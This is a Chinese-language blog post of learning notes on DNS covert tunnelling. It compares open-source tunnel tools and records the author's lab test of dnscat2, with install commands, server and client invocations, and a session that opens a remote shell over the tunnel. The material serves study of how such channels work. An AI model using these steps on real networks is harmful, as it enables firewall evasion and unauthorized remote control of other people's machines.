DNS隱蔽隧道

一 前言

DNS上節(jié)說(shuō)到,主要用來(lái)做域名解析的,但是黑客卻可以通過(guò)將其他協(xié)議的內(nèi)容封裝再DNS協(xié)議中,然后通過(guò)DNS請(qǐng)求和響應(yīng)來(lái)傳輸數(shù)據(jù)和完成控制,DNS服務(wù)作為互聯(lián)網(wǎng)上最普遍的服務(wù),防火墻和入侵檢測(cè)設(shè)備一般都會(huì)放行,這就給黑客們有了可乘之機(jī),以下為學(xué)習(xí)筆記。

二 DNS隧道的方式

2.1 分類(lèi)

目前DNS隧道目前按照連接方式來(lái)分:直連隧道和中繼隧道。
直連隧道 :用戶(hù)直接和控制服務(wù)器通過(guò)DNS連接,由于直連不經(jīng)過(guò)其他DNS服務(wù)器,所以速度快,但是很多用戶(hù)是對(duì)DNS服務(wù)器是有配置要求的,只能配置特定的服務(wù)器,配置其他的DNS服務(wù)器不準(zhǔn)許;另外這種方式由于直接連接的,很容易暴漏攻擊服務(wù)器。

中繼隧道: 利用DNS迭代查詢(xún)方式,中間通過(guò)多個(gè)DNS服務(wù)器的跳轉(zhuǎn),跳轉(zhuǎn)到最終的控制機(jī),整個(gè)解析過(guò)程更長(zhǎng),所以性能沒(méi)有直連好,還要防止DNS緩存。

DNS隧道

2.2 開(kāi)源工具

網(wǎng)上有不少開(kāi)源工具實(shí)現(xiàn)了DNS的隧道,對(duì)比如下:

軟件名稱(chēng) 開(kāi)發(fā)語(yǔ)言 特點(diǎn) 推薦
OzymanDNS perl 只有最初版本 不推薦
tcp-over-dns JAVA 跨平臺(tái) 比較老
iodine C 直連和中繼都支持速度快支持編碼和請(qǐng)求類(lèi)型 推薦
dns2tcp C 只直連未實(shí)現(xiàn)命令 不推薦
Dnscat2 客戶(hù)端C服務(wù)器ruby 支持加密隧道,功能強(qiáng)大 推薦

2.3 關(guān)鍵技術(shù)

  • 在兩種DNS 隧道中,用的最多的是中繼方式,能讓DNS服務(wù)器做遞歸查詢(xún),則需要每次查詢(xún)均采用不同域名的,一句話(huà)是每次采用新域名的方式來(lái)保證走DNS查詢(xún)。
  • 大多數(shù)場(chǎng)景 是服務(wù)器端沒(méi)辦法連客戶(hù)端,因?yàn)榉阑饓騼?nèi)網(wǎng)原因,所以多是通過(guò)客戶(hù)端定時(shí)連接服務(wù)器端來(lái)保持狀態(tài)。

三 實(shí)踐

為了更好理解軟件工作,二是為了獲取相關(guān)的報(bào)文,準(zhǔn)備搭建兩個(gè)嘗試下整個(gè)過(guò)程。
以更常用的Dnscat2為例測(cè)試,我以自己的windows機(jī)器來(lái)作為被控制方,里面的centos機(jī)器作為控制方測(cè)試。

3.1 安裝

#windows下客戶(hù)端下載地址
#解壓密碼為password ,windows下只有32位的。
https://downloads.skullsecurity.org/dnscat2/


#linux下服務(wù)器端安裝
#安裝ruby
$ yum install ruby
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install


3.2 運(yùn)行

服務(wù)器端為ruby開(kāi)發(fā),所以需要先安裝ruby才可以運(yùn)行,因?yàn)橹皇呛?jiǎn)單測(cè)試,走直連模式,可以直接運(yùn)行:

#缺了不少庫(kù)采用以下方式安裝
gem install ecdsa
gem install sha3
gem install salsa20
gem install trollop
gem install trollop

#服務(wù)器端命令
ruby ./dnscat2.rb  --secret 12345

#客戶(hù)端命令
 ./dnscat --dns server=127.0.0.1,port=53 --secret=12345

3.3 遇到問(wèn)題

[[ ERROR ]] :: DNS: RCODE_NAME_ERROR

可能原因,默認(rèn)有密碼的是隨機(jī)的,所以最好指定密碼,不然連不上。

/home/miaohq/dns2cat/dnscat2/server/tunnel_drivers/driver_dns.rb:316: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead
New window created: 1
/home/miaohq/dns2cat/dnscat2/server/libs/settings.rb:166: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead

查了半天竟然是ruby用的版本2.7的問(wèn)題造成的調(diào)用警告。

輸入:

#進(jìn)入交互狀態(tài)
session -i 1
#輸入shell進(jìn)入交互
command (localhost.localdomain) 1> shell
Sent request to execute a shell
command (localhost.localdomain) 1> New window created: 2
Shell session created!
#看下shell信息
dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains =  [*]
  1 :: command (localhost.localdomain) [encrypted and verified]
  2 :: sh (localhost.localdomain) [encrypted and verified] [*]
#切換到shell
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
#輸入命令:
sh (localhost.localdomain) 2> pwd
sh (localhost.localdomain) 2> /home/test/dns2cat/dnscat2/client

簡(jiǎn)單的過(guò)程:


DNS隧道利用

四 參考

https://blog.csdn.net/localhost01/column/info/32978

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 前言 關(guān)于DNS隧道的一些簡(jiǎn)單研究和利用。 DNS協(xié)議基礎(chǔ) 域名系統(tǒng)(服務(wù))協(xié)議(DNS)是一種分布式網(wǎng)絡(luò),主要用...
    諾言iii閱讀 3,384評(píng)論 0 8
  • 1、前言 在當(dāng)下互聯(lián)網(wǎng)時(shí)代,我們?nèi)粘I詈凸ぷ骰径茧x開(kāi)不域名和 DNS ,如通過(guò)一個(gè)網(wǎng)址打開(kāi)一個(gè)網(wǎng)站進(jìn)行購(gòu)物、使...
    cinder_lv閱讀 3,965評(píng)論 1 27
  • 目錄: 一些基本概念主機(jī)名DNS名稱(chēng)解析DNS 解析的后端存儲(chǔ)名稱(chēng)解析總結(jié) 大規(guī)模域名解析的體系架構(gòu)DNS 解析需...
    C86guli閱讀 12,781評(píng)論 3 34
  • 前言 本文開(kāi)始介紹應(yīng)用層,傳輸層為應(yīng)用進(jìn)程提供了端到端的通信服務(wù),但不同的網(wǎng)絡(luò)應(yīng)用的應(yīng)用進(jìn)程之間,還需要有不同的通...
    HRADPX閱讀 2,071評(píng)論 2 5
  • @@@時(shí)間 2013-12-24 14:50:00** 博客園-原創(chuàng)精華區(qū) 原文 http://www.cn...
    蘇文星閱讀 1,505評(píng)論 0 7

友情鏈接更多精彩內(nèi)容